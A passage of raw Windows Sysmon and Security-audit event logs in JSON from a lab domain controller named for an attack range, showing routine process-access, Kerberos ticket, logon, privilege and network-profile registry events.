C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-001092C40300}","TargetProcessId":"752","TargetImage":"C:\\Windows\\system32\\DllHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.531\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-001092C40300}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\system32\\DllHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.531","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-001092C40300}","TargetProcessId":"752","TargetImage":"C:\\Windows\\system32\\DllHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-001092C40300}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\system32\\DllHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-001092C40300}","TargetProcessId":"752","TargetImage":"C:\\Windows\\system32\\DllHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221581,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{782E8E6A-83BA-E0EA-C75F-90E759000376}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40800000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40800000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{782E8E6A-83BA-E0EA-C75F-90E759000376}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221582,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C742\r\n\r\nPrivileges:\t\tSeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeAssignPrimaryTokenPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3c742","PrivilegeList":"SeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeAssignPrimaryTokenPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221583,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3C742\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t10.0.1.14\r\n\tSource Port:\t\t49708\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3c742","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"10.0.1.14","IpPort":"49708","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221584,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C742\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3c742","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\ProfileName\r\nDetails: attackrange.local","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\ProfileName","Details":"attackrange.local","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Description\r\nDetails: attackrange.local","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Description","Details":"attackrange.local","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Managed\r\nDetails: DWORD (0x00000001)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Managed","Details":"DWORD (0x00000001)","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Category\r\nDetails: DWORD (0x00000002)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\Category","Details":"DWORD (0x00000002)","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\DateCreated\r\nDetails: Binary Data","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\DateCreated","Details":"Binary Data","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\NameType\r\nDetails: DWORD (0x00000006)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\NameType","Details":"DWORD (0x00000006)","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221585,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C93E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3c93e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221586,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3C93E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess 